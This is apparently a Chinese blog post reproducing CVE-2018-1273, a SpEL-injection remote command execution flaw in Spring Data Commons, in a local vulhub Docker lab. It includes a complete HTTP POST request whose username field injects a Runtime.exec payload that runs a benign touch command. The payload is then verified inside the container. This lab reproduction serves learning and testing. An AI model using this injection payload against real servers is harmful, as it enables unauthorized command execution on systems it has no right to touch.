CVE-2018-1273 Spring Data Commons 遠端命令執行漏洞復現

冰淇淋乾杯發表於2021-01-21

一、漏洞描述

  Spring Data是一個用於簡化資料庫訪問,並支援雲服務的開源框架,Spring Data Commons是Spring Data下所有子專案共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表示式注入漏洞,攻擊者可以注入惡意SpEL表示式以執行任意命令。

二、漏洞環境搭建

需要準備的工具如下:

1.docker+vulhub漏洞庫
2.Burpsuite
3.靶機Ubuntu18.04虛擬機器(其他也可以)

開啟Ubuntu虛擬機器,有docker環境和vulhub漏洞庫的話就直接進入環境,沒有的話先安裝docker和下載vulhub漏洞庫(網上教程很多,這裡就不多介紹了)

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# 

執行命令

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose up -d

等到出現以下頁面證明已經搭建完成

可以訪問http://your-ip:8080,出現如下頁面證明環境搭建成功!

三、漏洞利用

1、註冊使用者,提交抓包

2、構造payload,進行發包測試

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.1.17:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
Origin: http://192.168.1.17:8080
Connection: close
Referer: http://192.168.1.17:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/2333")]=&password=&repeatedPassword=

伺服器返回如下頁面時,證明攻擊成功!

3、進入Ubuntu環境中,執行

root@admin666-virtual-machine:~/vulhub-master/spring/CVE-2018-1273# docker-compose exec spring bash
進入目錄,檢視tmp下的目錄成功出現2333檔案,命令執行成功!

4、關閉docker環境

docker-compose down

相關文章